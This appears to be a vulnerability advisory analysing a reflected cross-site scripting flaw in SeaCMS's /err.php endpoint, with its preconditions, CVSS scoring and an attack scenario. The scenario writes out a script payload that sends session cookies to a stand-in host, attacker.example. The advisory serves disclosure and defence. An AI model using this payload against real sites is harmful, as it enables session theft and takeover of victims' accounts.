SeaCMS EUVD-2026-68310

Exploitation requires that a victim user click or otherwise follow a crafted URL containing a malicious errtxt parameter pointing to the target SeaCMS installation's /err.php endpoint. The SeaCMS application must be reachable over the network from the attacker's delivery vector. No authentication, no special server-side configuration, and no non-default settings are required - the /err.php file is a standard component of SeaCMS up to 13.6. The key limiting factor is the mandatory user interaction: the attack is reflected (not stored), so the attacker cannot exploit victims passively without delivering a link. Exploitation is therefore constrained to social-engineering or secondary-injection scenarios rather than fully automated scanning.

The CVSS 4.0 base score of 5.3 (AV:N/AC:L/AT:N/PR:N/UI:P) correctly captures a low-complexity, network-reachable attack requiring passive user interaction. The E:P supplemental metric acknowledges the public exploit, which meaningfully elevates real-world risk above the base score alone. However, the UI:P requirement limits mass-automated exploitation - an attacker must deliver a crafted link to a specific victim, typically via phishing or injected hyperlinks. No KEV listing indicates no confirmed widespread active exploitation at time of analysis. Impact is bounded: VC:N/VI:L reflects limited direct server-side compromise, though browser-side consequences (session theft, credential harvesting, defacement) can exceed what the score implies for an authenticated victim. Overall, real-world priority is moderate: sites with authenticated administrative users represent a more consequential target than anonymous visitors. EPSS score is not provided in the input data and cannot be stated.

An attacker crafts a URL targeting a SeaCMS-hosted site, embedding a malicious JavaScript payload in the errtxt parameter (e.g., /err.php?errtxt=<script>document.location='https://attacker.example/steal?c='+document.cookie</script>). The attacker delivers this URL to a target victim - such as an authenticated administrator - via a phishing email or embedded link. When the victim clicks the link, their browser executes the attacker's script in the origin of the SeaCMS site, potentially exfiltrating session cookies or performing actions on behalf of the victim. A public proof-of-concept documenting this exact technique is available on GitHub.